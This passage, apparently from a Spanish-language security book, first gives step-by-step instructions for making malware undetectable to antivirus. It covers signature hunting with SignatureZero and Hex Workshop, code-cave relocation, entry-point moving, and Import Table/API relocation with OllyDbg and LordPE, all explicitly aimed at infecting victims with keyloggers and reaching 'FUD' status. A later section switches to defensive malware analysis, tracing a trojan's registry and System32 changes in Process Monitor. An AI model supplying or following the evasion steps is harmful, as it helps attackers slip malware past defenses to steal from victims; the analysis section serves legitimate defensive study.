Tal como podemos apreciar seguimos las indicaciones y damos en ok y en Bytes to be added le
agregamos 90.

Nos anotaremos la dirección de memoria 0052C00Bh. Ahora podemos modificar el binario con
OllyDbg y recordando que la dirección mencionada es donde empieza el hueco que acabamos
de crear con topo para poder agregar trozos de código (la firma) que detecta el antivirus.

Una vez dentro del binario a modificar le daremos en view/Executable file. Ahora podemos
visualizar las partes a modificar, recordando la dirección donde se han creado el hueco.

201
Podremos observar que se abrió una ventana nueva como la siguiente.

Ahora presionaremos CTRL+G y buscaremos una instrucción al azar o un conjunto de

instrucciones para ver si podemos quitar algunas firmas, este método es poco convencional
pero puede que encontremos algo ya que lo que debemos hacer es acorralar la firma y poder
hacer esto directamente donde el antivirus hace su trabajo.

Elegiré un gran bloque de código para ver si puedo tomar algunas firmas.

202
Como se puede observar hemos copiado desde la dirección 1412 hasta la 1440 y le daremos en
View Image in Disassembler y copiar las direcciones desde donde empieza y termina las
instrucciones.

Como se aprecia, empieza desde la 401412 y termina en 401442 y su dirección consecutiva es

401443. Ahora lo que sucederá es encontrar la dirección donde se ha creado el hueco hecho por
Topo. En CPU presionamos CTRL+G y vamos a la dirección.

203
Seleccionaremos un gran número de NOP´s como unos 30 o más y le daremos en Binary Paste.

Ahora vemos que la dirección donde hemos pegado el trozo de código empieza desde la 52C013
y termina en la 52C042. Cómo podemos ver y recordar la dirección de donde hemos tomado este
código, tenemos que regresar para hacer el salto en la dirección 401412 y donde terminaba en la
401442.

Ahora regresamos a la dirección 401412 para que haga el salto en la dirección 52C013 y cuando
finalice reinicie su curso en la siguiente dirección que habíamos dicho que era la 401443 que está
marcada en la 52C045 con un JMP.

204
Así con esta imagen podemos observar como continuará el flujo del programa, en este caso la
firma quedó modificada con unas instrucciones extra pero sin alterar su flujo.

Todo lo que queda es Regresar al CPU dar clic derecho. Copy to Executable>All modifications.

Copy all y nos saldrá una ventana nueva en la cual le daremos clic derecho y nos mostrará un
nuevo menú.

Le daremos en save file y nos pedirá una ruta en donde guardarlo.

205
Listo ya tenemos nuestro archivo modificado y si corremos con suerte en nuestro próximo
Scan podemos quitarle gran número de antivirus.

Como pueden ver el resultado fue muy favorable y el cual le podemos hacer mejoras
para sacar los últimos 2 Antivirus.

206
Traslado del Entry-Point.
Otro de los métodos más efectivos es mover el Entry-Point, en lenguajes de programación el
Punto de entrada (Entry Point en inglés) es el procedimiento de inicio de un programa. En este
caso moveremos el inicio del programa a otra parte con ayuda de OllyDbg y LordPE que nos
ayudará a modificar la firma y evitar que nuestro binario quede inutilizable.

Hasta ahora solo hemos visto como quitar algunos antivirus y en su caso la mayoría pero uno de
los métodos más usados para modificar desde el inicio del binario es moviendo su cabecera la
cual evitará que muchos antivirus puedan detectarlo ya que el comportamiento del mismo binario
queda desde el principio; quedando así solo algunas firmas que se tendrán que acorralar y sacar
directamente.

Antes de comenzar, haremos un escaneo en la plataforma antes usada para ver el índice de
detección que trae consigo este software:

Abriremos el binario con OllyDbg.

207
Como podemos observar cada que abrimos un binario la primera línea marcada en gris es nuestro
Entry-point el cual debemos enviarlo a otra parte de nuestro binario, esto es similar al método RIT
solo que al moverlo nuestro ejecutable queda inservible.

Lo que vamos hacer es tomar el Entry-point y moverlo a un espacio dentro de nuestro binario el
cual podemos lograrlo con un salto (JMP) y regresar a la instrucción subsecuente para no alterar
el flujo del binario.

Vamos a copiar el Entry-point.

Una vez hecho esto lo que vamos hacer es ir al final del binario donde encontremos espacios
llenos de ceros y colocarlo en esa parte.

208
Como se puede observar se ha pegado en la dirección 52B3D8 y ahora solo queda llenar ese
espacio por NOP´s en el Entry-point y re-direccionar a esta dirección.

Le daremos la dirección con un JMP la cual hemos pegado nuestro trozo de código.

La siguiente instrucción es la 4013C5 es la siguiente del nuestro flujo del programa.

La cual debemos cambiar en la parte donde pegamos nuestro trozo de código para respetar el
flujo del binario.

209
Ahora solo queda guardar nuestros cambios.

Guardar archivo y lo colocamos en una ruta donde lo identifiquemos y hagamos el análisis.

Ahora queda abrirlo con LordPE para que podamos redirigir a la dirección nueva de nuestra
cabecera.

210
Le damos en PE Editor y seleccionamos nuestro archivo modificado.

211
Como podemos ver en Entry-Point lo modificamos al valor de nuestro Entry-point que
modificamos el cual quedó en la dirección: 52B3D8.

Una vez hecho esto solo queda ir a la parte donde dice Checksum en el signo de interrogación
“?”.Una vez finalizado esto podemos darle en guardar y cerramos el programa.

Hacemos el escaneo en la página ya conocida y veremos los resultados, estos pueden variar:

Como podemos ver igual son 2 antivirus que lo siguen detectando, pero es fácil dar con las firmas
y emplear otro método para sacarlos tal como el método RIT.

212
Detección y remoción de Firmas Antivirus mediante método RIT.

Muchas veces cuando intentamos infectar a nuestras victimas es muy tedioso saber si en realidad
su Antivirus puede quedar K.O. al pasarle nuestro malware y surtir efecto en un 100%. Para esto
es necesario a veces in-detectar el malware de alguna u otra forma, podemos comprimir el Binario
de tal forma que quede detectado por pocos Antivirus.

Un ejemplo práctico sería en mandar un Keylogger para que la víctima lo ejecute y nosotros
podamos ver todo lo que escribe la víctima en unos registros que se envíen a través de correo
electrónico o alguna página web mediante peticiones GET/POST o FTP.

Ahora como sabemos todo malware llega a ser detectado por los antivirus, suponiendo que
nuestro virus o mejor dicho tomando ejemplo de base un Crypter el cual nos va ayudar a ofuscar
un Malware el cual igual puede ser detectado podemos tocarlo un poco, para no alargar la historia
podemos usar métodos bastante efectivos para ello y citaré 2 ejemplos el cual uno pueden ustedes
desarrollar basándose en el que mostrare más adelante.

Podemos detectar las firmas mediante una herramienta llamada SignatureZero que sirve para
rellenar los Offsets con lo que nosotros se nos ocurra, en este ejemplo serán Ceros mejor
llamados NOPs los cuales servirán para dejar Ceros en las direcciones donde hay instrucciones
en el binario para así poder acorralar la parte detectada por el anti-virus.

213
Como se puede ver en la imagen con rojo está marcado el Entry-Point y donde dice la parte en
llena con NOP´S en gris, está en algún momento tenía código como en la parte naranja
mostrada y la parte rosa es donde hay una instrucción que es detectada, esta tendrá una
dirección especifica que es detectada por el antivirus.

Ahora veamos cómo podremos llegar a este punto. La parte roja es la modificada y la verde es
la original y la naranja la cabecera; tal como lo muestra el mismo programa.

Como pueden ver abrí un Crypter en este caso su Stub el cual es detectado obviamente por mi
antivirus, a lo cual la pregunta sería: ¿Cómo encontrar la firma?

Digamos, que se le rellena ese bloque en rojo a nuestro binario y sigue siendo detectado, queda
decir nada más ni menos que sigue siendo detectado y por obvia razón la firma sigue ahí en alguna
parte que viene siendo una dirección. Ahora veamos el Scan:

214
Como pueden ver es detectado todavía, ahora que podemos hacer para mejorar esta situación.

Ahora hemos rellenado desde el Offset 8453 hasta el final, sabemos que nos queda un intervalo
muy pequeño desde la cabecera hasta la dirección encontrada. Vamos a ver cuál es.

215
Como se puede ver después de terminar la cabecera empieza con la dirección 4096 y la última vez
rellenamos desde la dirección 8453, eso quiere decir que la firma está entre 4096 y 8453. Ahora
estoy rellenando desde 4096 hasta 5635.

Quiere decir que entre 4096 y 5635 está la detección pero aun así si hacemos cálculos estamos
hablando de una diferencia de 1539 Offsets. Ahora podemos hacer lo mejor para dejar la firma
exacta. Me la pasaré de 200 en 200 y luego de 100 en 100 para acorralar la firma para quedar
así.

Ahora podemos hacer algo para saber dónde está, esto es mediante el apoyo de Hex Workshop,
ir “indetectando” el código por bloques.

216
Como se puede ver en la imagen en la parte inferior izquierda estamos desde el Offset 5056 hasta
el 5060 donde está nuestra firma, la cual la podemos modificar con OllyDbg.
Abrir nuestro binario con OllyDbg y nos dirigiremos a la ruta especificada Clic derecho
View/Executable File.

Seguido de ello apretaremos CTRL + G para indicar el offset a buscar en Signed o Unsigned.

Una vez situados en la primer dirección que nos apunta la ventana, en este caso la 13C0 le
daremos clic derecho en ella y nos iremos a View Image in Disassembler.

217
Veremos lo que hay en esa instrucción:

Me dirigiré a la instrucción que se encuentra debajo de ella donde hay un CALL y puedo elegir
solo esa línea o de igual forma puedo elegir más líneas.

Como se puede apreciar he seleccionado desde la Dirección 4013C5 hasta la 4013D4 las cuales
las seleccionaremos de igual forma y clic derecho para seleccionar: Binary/Binary Copy.

Nuevamente las seleccionaremos y daremos clic derecho para seleccionar: Binary/Fill With
NOPs.

218
Solo queda agregar un par de Break-Points para ubicarnos fácilmente en nuestro binario sin
perder las direcciones. En esta parte para no perdernos enumeraremos lo que vamos haciendo.

En la imagen pasada podemos ver que se agregó un breakpoint en el cual nos indica el flujo que
debe seguir normalmente nuestro binario. Y la parte que hemos roto o mejor dicho copiado
debemos ubicarla en una parte de nuestro binario donde haya un gran numero de ceros o NOPs.

Como se puede apreciar se encontró un hueco suficientemente largo para almacenarlo y lo que
haremos es darle Binary/Binary Paste.

219
Nuevamente agrego un Breakpoint en el cual marcaré en donde ubique mi trozo de código,
justamente aquí es donde decidiré a donde mandar a llamar mi trozo de código con un JMP y
regresaré a la continuación habitual para no alterar el flujo.

Primero en la dirección 4014FD mandaré a regresar mi flujo en el primer Breakpoint. Para saber
cuáles son los Breakpoints que hemos puestos solo basta con ir a la letra B.

Como vemos el primer Breakpoint está en la Dirección: 4013D5.

Solo queda hacer el JMP pare regresar el flujo, damos doble clic en la dirección 4014FD y
colocamos el JMP.

Finalmente hacemos clic en Assemble y quedará así de esta forma.

220
Ahora regresemos al primer Breakpoint con tan solo darle en la letra B y darle doble clic en la
dirección 4013D5.

Nos ubicaremos en la parte de los NOPs y en cualquiera de ellos pondremos el salto a la dirección
4014EE si no sabemos cuál es nuevamente apretaremos el botón con la letra B.

Ahora damos doble clic derecho en cualquier NOP y pondremos el Jump (JMP) con la dirección
y Assemble.

221
Ahora solo hay que quitar los Breakpoints que hemos colocado, como lo hacemos dirijámonos a
cada uno de ellos y con F2 o Fn+F2 en otros casos para poder quitarlos de igual forma para poder
ponerlos es el mismo paso.

Finalmente le daremos clic derecho en cualquier parte del binario para darle en Copy to
executable/ All modifications.

Se abrirá una ventana nueva y le damos en Copy All.

En la nueva ventana nuevamente clic derecho en cualquier parte de ella Save File y procederemos
a guardarlo en alguna ruta especificada por nosotros:

222
Podemos ahora si pasarle un Scan con [Link] y ver los resultados, recuerda que OllyDbg
crea un archivo .BAK el cual hace un respaldo de tu archivo original por si la hemos regado y
poder rescatar nuestro binario original dado el caso que lo hayamos reemplazado por algún error.

ANTES:

DESPUES:

223
Como pueden ver hemos quitado a muchos antivirus, era detectado por 19 de 35 y ahora
quedan solo 7 de 35. Con otros retoques podemos quitar esos antivirus para dejarlo totalmente
FUD.

224
Traslado de instrucciones de las API’s.
Con este método podemos migrar las instrucciones hasta un hueco en el que podamos escribir
en memoria el nombre de las librerías, API´s, etc. de la Import Table. Así lograremos llamar a
estas direcciones sin romper el flujo del binario como el método RIT.

Lo que esperamos de este método es quitar esas firmas que se ubiquen exactamente en estos
componentes del binario los cuales sabemos que si los tocamos demasiado podemos dejar
inservible nuestro malware.

Abriremos con LordPE nuestro binario.

Nos dirigiremos a PE Editor para seleccionar nuestro binario.

225
Una vez elegido el binario podemos visualizar esta nueva ventana.

Nos vamos directamente a “Directories” para posteriormente visualizar una nueva ventana.

Elegiremos la opción punteada de la línea que dice Import Table.

226
En las columnas encontraremos información detallada tal como lo es: DLLName indica el nombre
de la librería utilizada por nuestra aplicación, la cual guarda en la dirección 12AD70, el nombre de
la librería [Link] que es necesaria para la ejecución del mismo.

Modificando esta librería sin pasarle LordPE quedaría inservible por eso se ocuparán OllyDbg y
LordPE.

Nota: Si seleccionamos la librería en este caso la [Link] podremos ver las API´s de la
misma con las cual interactúa.

227
Remoción y traslado de librerías.
Para mover la librería solo queda ver la dirección donde se ubica, para esto ya sabemos en dónde
y por coincidente nos dirigiremos abrirlo con OllyDbg.

Una vez con nuestro binario en marca con OllyDbg debemos dirigirnos en la parte de la columna
del ensamblado clic derecho View / Executable File.

En la nueva ventana activa presionaremos las teclas “CTRL+G” y buscaremos la dirección

12AD70 en Hexadecimal y enseguida OK.

228
Nos arrojara en la primer fila de esa ventana activa a la dirección que estamos buscando clic
derecho y View image in Disassembler.

Inmediatamente estaremos en la dirección exacta donde se encuentra nuestra librería.

229
Tal y como se aprecia está ubicada en la dirección 52AD70 la cual dicha instrucción la ubicaremos
dentro de otra dirección por lo tanto queda dar clic derecho Binary/Binary Copy:

Como se aprecia se le ha puesto un Breakpoint para no perdernos y solo lo hago para hacer
referencia a la dirección. Una vez hecho esto podemos darle clic derecho ahí mismo en la parte
“Binary / Fill With NOPs” y listo, quedará de la siguiente manera.

Ahora si se ha quedado en porta papeles nuestra parte del binario que hemos copiado, solo queda
pegarla en alguna otra dirección recordando que debemos seleccionar un gran trozo de código
basura como NOPs o ceros y pegar ahí nuestra parte del binario.

230
Continuamos con la última parte y tal como se muestra nos ha sobrado espacio de sobra que
previamente seleccione para procurar que mi parte del binario copiado entre en esa sección y no
quede alguna instrucción fuera. Nos fijaremos en la dirección 52B254 la cual indica que ahora está
ahí nuestra DLL y solo queda recordar esa dirección que es la que ingresaremos más adelante
con LordPE.

Seguido de esto daremos clic derecho en la columna del ensamblado en Copy to executable/All
modifications.

Nuevamente en Copy All.

231
Una vez visualizando nuestra nueva ventana activa clic derecho cobre ella y Save file.

Al finalizar la ubicaremos en cualquier ruta que tengamos bien ubicada y fácil de encontrar.

Cerramos todo y abriremos ese binario nuevo con LordPE.

Nuevamente le daremos en PE Editor para elegir nuestro binario y nos iremos inmediatamente a
Directories.

232
Una vez en Directories se abrirá una nueva ventana la cual elegiremos la Import Table en donde
se marca el botón de puntos (…).

Una vez dentro del Import Table nos daremos cuenta de algo y es que falta el nombre de la
librería.

233
Todavía apunta a la dirección 12AD70 la cual necesitamos modificar con la nueva dirección que
es la: 52B254. Le daremos clic derecho sobre ella y en edit.

En la parte donde dice Name RVA le ingresaremos la dirección 52B254 en este caso solo se
agregan los últimos 4 caracteres de la dirección. Nuevamente le damos en OK y veremos los
cambios:

Tal como se muestra en la imagen ya aparece nuevamente la librería y esto nos indica que todo
está perfecto en este caso. Si quisiéramos migrar las direcciones de las API’s cambia un poco la
forma de hacerlo respecto a las direcciones, conforme a mover la dirección de la librería solo queda
en guardar los cambios y listo podemos cerrar LordPE y ver si hemos podido quitar algunas firmas.

234
Traslado de las API’s de una librería.
En este caso nos fijaremos en un Stub de un crypter el cual podemos modificarlo de tal forma que
quede indetectable a los anti-virus moviendo las API’s de la Import Table.

Antes de modificar este binario que se ubica en nuestra carpeta llamada Crypter 1 es necesario
modificar la extensión del STUB llamado Dinamita.

Simplemente lo comprimiremos en .rar o .zip y abrirlo con WinRar, una vez creado el comprimido
lo abriremos y cambiaremos la extensión a .exe.

Ahora solo lo extraemos y es que vamos a modificar, posteriormente para finalizar todos los
cambios aplicando cada uno de estos métodos de in-detectabilidad es necesario regresarlo con
su nombre y extensión original.

Abriremos con LordPE nuestro binario:

235
Elegiremos la opción que dice PE Editor.

Nos encontraremos con información de nuestro binario tal y como se muestra, nos dirigiremos a
la parte donde dice Directories.

236
Nos encontraremos en el Directory Table y nos dirigiremos a la IT (Import Table en la parte donde
están marcados los puntos (…).

En este caso la API’s que modificaremos es la ProcCallEngine la cual pertenece a la librería

[Link] de igual forma se puede aplicar a la otra librería o las que tenga el malware.
Como nos daremos cuenta esta no nos muestra una columna llamada Name tal como la que nos
muestra la librería. En este caso nos guiaremos por la columna llamada ThunkValue que en este
caso nos dice que está en la dirección 2698 en hexadecimal.

Abrimos nuestro binario con OllyDbg nuevamente.

237
Una vez con nuestra ventana activa le daremos clic derecho en el Ensamblado y nos dirigiremos
a View/Executable file.

Después de esto en la nueva ventana activa podemos oprimir CTRL + G y en la parte de

Hexadecimal pondremos la dirección 2698 en la sección de Hexadecimal.

238
Nos mostrara la primera línea con la siguiente dirección y procederemos a darle clic derecho y
View Image in Disassembler.

Nos aproxima a la dirección de la API en este caso se encuentra exactamente en la 26F4 y no en

la 26F2.

Procedemos hacer los cambios dando primero clic derecho sobre esa instrucción Binary/Binary
Copy.

239
Nuevamente clic derecho en ella Binary/Fill with NOPs.

Finalmente buscamos un hueco donde existan puros ceros o NOPs creados con Topo en caso de
no existir y seleccionamos varias filas y clic derecho Binary/Binary Paste.

240
Tan sencillo como fijarnos en la nueva dirección donde empieza nuestro pedazo de binario
insertado en ese nuevo espacio cual es: 402718. Simplemente guardamos nuestro cambios clic
derecho Copy to executable / All modifications.

Continuamos con Copy All.

En la nueva ventana de nuestro Binario clic derecho sobre ella y Save file.

Ahora guardamos nuestro nuevo binario en alguna ruta especificada por nosotros y abriremos con
LordPE.

241
Seleccionamos el binario con el botón PE Editor y se abrirá esta ventana la cual nos iremos en
Directories.

Nos iremos a la Import Table nuevamente y veremos que paso con nuestra API’s

242
No se muestra el nombre de nuestra API y si bien recordamos estaba en una dirección 26F2. La
cual en realidad estaba en la dirección 26F4.

Esto nos dice que hay un espacio de 2 Offsets los cuales tenemos que hacer valer en nuestra
nueva dirección que es la 402718. Y si bien sabemos dejar las cosas como estaban respetando
esos 2 Offsets tendremos que poner la dirección 402716.

Siguiendo esta regla y pequeña hipótesis procederemos hacer el cambio dando clic derecho en
esa fila y en edit.

Ahora solo agregamos la dirección correcta que sería la 2716.

Finalmente le damos en OK y veremos que ya apareció nuestra API nuevamente con nuestra
dirección nueva en la columna ThunkValue.

243
Solo queda guardar los cambios y hemos finalizado con este proceso manejando las Apis las
cuales podemos modificar todas las que existan dentro de nuestro binario incluyendo las librerías
completas como la [Link]

244
245
Introducción.

El proceso de analizar el comportamiento del malware implica numerables cosas, entre las que
más destacan se encuentra el saber con certeza qué es lo que está haciendo y cuáles son sus
principales objetivos. El análisis de malware es una tarea o actividad qué implica un proceso
complejo; análisis forense, reversing, debugging, etc. Estas actividades toman mucho tiempo
durante el progreso. La final de realizar un estudio cómo lo es el análisis de malware es obtener
una comprensión de cómo es qué este funciona, para que nosotros podamos protegernos o a
nuestra organización mediante la prevención de ataques de los diferentes tipos de malware.

El Análisis de malware es el arte de diseccionar software malicioso para entender cómo es que
funciona, cómo poder identificarlo en los equipos, como deshacernos de el y demás, y no, no es
necesario ser un consultor de seguridad para que puedas realizar éste meticuloso análisis. Sin
embargo, allá afuera en internet existen millones de piezas diferentes de software malicioso, sin
contar las que se descubren a todas horas día con día, el realizar tareas de análisis de malware
mucho más complejas es algo que resulta crítico y fundamental para toda aquella persona
que responda a incidentes de seguridad informática, y por obvias razones, un personal con una
alta demanda en el sector laboral.

El malware desempeña un papel importante en la mayoría de los incidentes de intrusión y

seguridad de recursos informáticos, básicamente cualquier pieza de software que haga algo
que cause daño a un equipo, computadora o red puede considerarse malware, aquí se
incluyen los virus, troyanos (muchos con la finalidad de ejecutar tareas de spyware),
gusanos (worms), rootkits, rasomware, etc. Las diferentes caras del malware hacen una
extensa variedad de cosas de diferente tipo, por ello, es indispensable contar con un conjunto de
herramientas y técnicas a nuestra disposición para analizar el malware.

246
Metodologías para analizar malware.

Comúnmente existen dos metodologías base para el proceso de análisis de malware que son
utilizadas por los analistas de malware, estas dos técnicas permiten a los analistas comprender
rápidamente y en detalle los riesgos y las intenciones de una muestra de malware con la que están
trabajando:

 Análisis estático o “Code Analysis”:

Es un hábito común que por cuestiones de seguridad los analistas primero hagan un análisis
estático que uno dinámico, para llevar a cabo un análisis estático se necesitarán fuertes
conocimientos o bases bien establecidas en programación y conceptos de lenguaje de
ensamblador (Assembler). Durante el proceso de análisis estático, no es necesario
ejecutar el malware, generalmente, el código fuente de las muestras de malware no de
fácil acceso, el reto principal de este tipo de análisis reside en la complejidad que existe en
el malware, por ello, primero se debe finalizar con éxito el proceso de ingeniería inversa
o “Reversing” en donde se llevan a cabo tareas de des ensamblaje y debugging para así
poder analizar el código a un bajo nivel.

 Análisis dinámico/análisis de comportamiento, o “Behavior Analysis”:

El análisis dinámico (análisis de comportamiento) es un proceso en el que se realiza la
ejecución del propio malware y observa la actividad del malware en el lugar donde se
haya ejecutado, así observando los cambios que se producen cuando se está ejecutando.
Cabe mencionar que infectar un sistema con malware desconocido sin las medidas de
seguridad adecuadas puede ser muy peligroso. La infección por malware en un sistema
puede causar severos e incluso irreversibles daños como la eliminación de archivos,
cambio de registro, modificación de archivos, robo de información / datos
confidenciales, etc. Al realizar el análisis de malware, necesita un entorno seguro y la red
no debe conectarse a las redes de producción. La finalidad del análisis dinámico es la
de poder supervisar los cambios realizados en el sistema del recurso informático
comprometido o infectado, como lo es el sistema de archivos, el registro, los procesos y
su comunicación en red. La ventaja de realizar un análisis dinámico es que puede
comprender completamente cómo funciona un malware.
247
Razones por las que se debe hacer un análisis a una muestra malware.

Imagina que estás en la posición laboral en donde se te asignó la tarea de encontrar algún software
inusual, en ejecución y potencialmente malintencionado en un servidor o equipo importante, en
esta situación surgirán muchas preguntas que pueden ser respondidas sólo de una forma,
haciendo un análisis de malware. A decir verdad, existen muchísimas razones para llevar a cabo
esto, debajo encontrarás las más importantes y las que más en cuenta debes de tomar:

 Para encontrar indicadores de comprometimiento.

 Para evaluar daños durante una intrusión.
 Para entender el comportamiento de algún software malicioso.
 Para comprender el nivel de complejidad o sofisticación del malware.
 Para identificar vulnerabilidades.
 Para remover el malware del equipo.
 Para poder encontrar al “atacante/culpable”.

248
¿Por qué éste es un proceso proactivo?

Nuestra experiencia como instructores nos ha enseñado que la más eficaz y mejor forma de
aprendizaje para un alumno o lector es cuando se ponen en práctica los temas qué se les
mencionan en nuestros cursos o libros, es por ello que la mejor manera de que aprendan a hacer
cierto tipo de cosas es ensuciándose las manos con la práctica, y éste tema no será la excepción
(ni ningún otro).
Éste capítulo comenzará como métodos relativamente simples que te permitirán obtener
información acerca de la ejecución de un software malicioso para después continuar con
técnicas y métodos de mayor complejidad para analizar malware con mayor sofisticación.
El entender cuando usar ciertas técnicas de análisis es casi tan importante como el aprenderlas,
ya que puede arrojar resultados que no esperábamos o hacerlos perder mucho tiempo el usar una
técnica errónea en el momento erróneo, a lo largo de éste capítulo se harán múltiples
demostraciones con diferentes técnicas, así el lector o alumno podrá diferenciar o saber elegir la
adecuada para la situación que se le presente.

249
Nuestra primera aproximación mediante análisis dinámico.

Como ha quedado claro, el análisis de malware hacia una muestra es un proceso complejo, en
donde intervienen muchos factores a tomar en cuenta, es por esto que comenzaremos con un
simple troyano, la manera en la que haremos esta aproximación con esta muestra mediante un
análisis dinámico, en donde estudiaremos el comportamiento de este malware (Behavioral
Analysis), analizando así como es que interactúa con el sistema y que modificaciones hace hacía
este, previamente habíamos hablado de las diferencias entre ambas metodologías para analizar
malware, en la parte relevante al análisis dinámico se comentó que la ejecución del malware toma
lugar aquí, y es lo que vamos a hacer para lograr nuestro propósito.

¿Qué necesitarás para éste ejercicio?

 Usarás la VM con Windows 7 que ocupamos en los 2 capítulos anteriores.
 Conexión a internet (Adaptador de red configurado en modo NAT en este caso).

¿Por qué modo NAT?

Cuando se realizan pruebas o tareas de pentesting con máquinas vulnerables (o por

vulnerar/comprometer críticamente), en este caso virtuales, es importante mantenerlas en un
ambiente aislado, fuera de la conexión de trabajo en donde se encuentran los equipos o recursos
informáticos que se intentan proteger o resguardar, por ello, es importante que estos equipos no
tengan contacto o comunicación con los que han sido comprometidos, ya que existe malware con
la capacidad de auto-replicarse y ejecutarse, o puedan vulnerar otros equipos dándole así luz
verde a demás malware, comprometiendo así a los demás recursos informáticos, es por esto que
la VM en donde se realizarán las pruebas no tendrá comunicación con el S.O nativo de tu
computadora, por esta razón es bastante recomendable usar el adaptador de red en modalidad
NAT o “Host-Only”.

En el escritorio de esta máquina nos encontraremos con un directorio nombrado “Malware

Analysis” en donde vendrán herramientas y material relevante a este último capítulo:

250
 Imagen 5.1: Folder con material

Entre el material existente, buscaremos 3 directorios en específico, el binario que se muestra es

el malware con el que vamos a trabajar en esta demostración, consulta la imagen:

Imagen 5.2 y 5.3: Herramientas y Muestra de malware.

 Detalles del malware:

Los proveedores de los antivirus no proporcionan mucha información sobre este troyano y parecen
asignar diferentes nombres a sus variantes (Malware), algo que hay que tener en cuenta es que
vendedores de antivirus no tienen una nomenclatura común para nombrar al malware, por lo que
los nombres diferentes entre los proveedores no representan necesariamente una variante de
troyano diferente. Consulta la tabla de variantes de “[Link]” proporcionada por el instituto
SANS:

Imagen 5.4: Lista de variantes del troyano.

251
Teniendo entendido lo anterior continuemos con el primer test. La forma en la que haremos este
estudia será relativamente simple en cuanto se trata de análisis dinámico, ya que analizaremos
los cambios que se han hecho en el equipo al momento de esta infección.

¿Cómo lo conseguiremos?

Para ésta prueba, haremos uso de 2 herramientas para monitorear toda la actividad del sistema
en Windows, se trata de “Process Monitor” y “Process Explorer”. Entendido lo anterior,
comencemos nuestra primera prueba. Ejecutaremos el malware “[Link]”, con permisos de
administrador, no pasará nada (a simple vista), una vez ejecutado ahora siguen los 2 anteriores
programas, primero corremos al monitor de procesos, y después al explorador de procesos al
hacerlo por primera vez con el “Process Monitor” tendrás que aceptar un acuerdo de licencia de
uso del software:

Imagen 5.5: Términos de uso y licencia.

Ya ejecutado, ahora correrás el “Process Explorer”, por lo que simplemente te mostrará el

siguiente panel, a decir verdad es como un “Task Manager” pero con más funciones y
sofisticación:

Imagen 5.6: Process Explorer o explorador de procesos.

252
Monitor de procesos como herramienta para cazar malware.

¿Para qué nos servirá el monitor de procesos?

Es una herramienta de monitoreo avanzada para Windows que muestra en tiempo real todo lo
que ocurre en dicho sistema operativo, como lo es la actividad en el registro (Registry),
actividad detallada de los procesos, puesto a que 2 utilidades del Sysinternals (Filemon y
Regmon) qué trabajan en conjunto con el software, se consigue una compresión mayor de los
eventos en el S.O y sus propiedades, por lo que nos servirá como una herramienta útil en la
caza del malware, al iniciarse se mostrará una ventana así, en donde se muestra la siguiente
configuración por default:

Imagen 5.7: Filtro de monitor de procesos.

Como ya ejecutamos el malware, buscaremos su proceso en el “Process Monitor”, por ello, habrá
que hacer unos cambios en ella, solamente en lugar de hacer el “Fetching” de los eventos por su
arquitectura como se hace por default, seleccionémoslo por el nombre de los procesos (Process
name), puesto a que ya hubo una previa ejecución del malware, este tendrá un proceso corriendo
(Aunque existe malware que lo oculta), para esto existen otras técnicas. Luego de seleccionar la
condición de búsqueda por procesos, en el siguiente campo, se enumeran los procesos activos
en tiempo real en el S.O, dentro seleccionaremos el del troyano ([Link]), ya seleccionado
hacemos clic en “Add” para que el proceso se añada a la tabla del filtro monitoreo, por ultimo
hacemos clic en “Apply” y “Ok” para aplicar la configuración

Imagen 5.8: Configuración de filtro en monitor de procesos.

253
Al hacerlo, se mostrará el panel de monitoreo con la configuración establecida, el cual consiste de
múltiples tablas, las cuales describen detalles acerca del evento, como lo es la hora, nombre del
proceso, ID del proceso (PID), Operación realizada, dirección (Path), resultado, etc. En la
imagen de abajo notaremos que se llevó a cabo una operación de Reconexión por protocolo TCP
hacia una dirección IP ([Link]), con un resultado exitoso (SUCCESS), debajo de ese
renglón o “entrie”, vemos más eventos relevantes a la ejecución del malware como lo es la
preparación de archivos o “Files” para su posterior escritura sobre el disco

Imagen 5.9: Operación de reconexión en monitor de procesos.

Reglones más abajo nos encontramos con estas 3 operaciones peculiares, en donde se hacen
escriben modificaciones en el directorio “C:\Windows\System32”, vemos también que las
operaciones realizadas fueron de escritura sobre ese directorio sobre los “Files” indicados, los
cuales fueron “[Link]” el cual es un [Link] que contiene muchas funciones del kernel y
“[Link]” que contiene una lista de funciones, al hacer la escritura, se puede notar que esta
escritura lleva un resultado exitoso (SUCCESS), en donde se detalla que durante el acceso
deseado al directorio se realizaron cambios en el lugar, podemos notar que existe un patrón que
se repite en cada evento indicado, en donde se modifican archivos con [Link] en el
directorio “System32”:

Imagen 5.10: Patrón de escritura sobre directorio “System32”.

254
Veamos ahora más información a detalle del evento relevante a la escritura del archivo [Link],
para esto lo seleccionamos y hacemos clic derecho, y después en la opción Properties, dentro
veremos a la pestaña “Event”, “Process” y “Stack”, en “Event” veremos información a detalle
sobre este, como son los atributos, el modo de compartirlo “Leer, Escribir, Borrar”, el acceso
deseado, el directorio, etc.

Imagen 5.11: Propiedades del evento seleccionado.

En la siguiente pestaña, nos encontramos con los detalles del proceso generado para este evento,
como lo es la imagen que usa el binario para la vista previa, el directorio donde reside, como la
línea de comandos para consultarlo, el PID (512), el momento exacto en el que comenzó, su fase
en la que se encuentra (corriendo), y los Módulos, en donde vemos que el ejecutable trabaja en
conjunto con él .dll:

Imagen 5.12: Detalles del proceso.

255
Regresando al panel del monitor de procesos, más abajo vemos que se realizan cambios de otro
tipo de operación, en este caso se ha creado una llave o “Key” en el registro, tan solo en 2 eventos,
ambas operaciones con resultado exitoso y permitiendo acceso total al crearla como se especifica
en la imagen, las operaciones “RegOpenKey” y “RegSetValue”, son las operaciones que están
involucradas directamente en la creación de esta llave sobre el “Path” especificado, podemos ver
que la operación “RegSetValue” define el nombre de la llave, la cual se llama “Service Profiler”,
esta “Key” básicamente tiene la finalidad de que cada que el sistema inicie el S.O o se reinicie se
ejecute esta acción en el registro, también podemos ver que en su valor tiene escrito “[Link]”:

Imagen 5.13: Escritura de llave en registro de Windows.

Como se mencionó, esta operación tuvo acción directamente en el Registro de Windows, así
que vamos a revisar eso, podemos hacerlo de 2 formas, una es que abras el editor de registros
con el comando “regedit”, y otra es desde el mismo panel del monitor de procesos. Seleccionas
el renglón o “Entrie” al que quieras “saltar” (Jump), como hablamos de ir hacia el editor de
registros, obviamente deberá de tratarse de una operación de este tipo (Reg), hacemos clic
derecho en el renglón deseado y seleccionamos la opción “Jump To”, la cual nos llevará
directamente hacia la ubicación exacta de este evento dentro del registro de Windows:

Imagen 5.14 y 5.15: Ubicación de evento en el Registro de Windows.

256
Hasta este punto hemos verificado y ubicado los cambios que hizo el malware, en este caso
hablamos de la llave que se escribió en el editor de registros con el nombre “Service Profiler” con
los datos “[Link]” dentro.

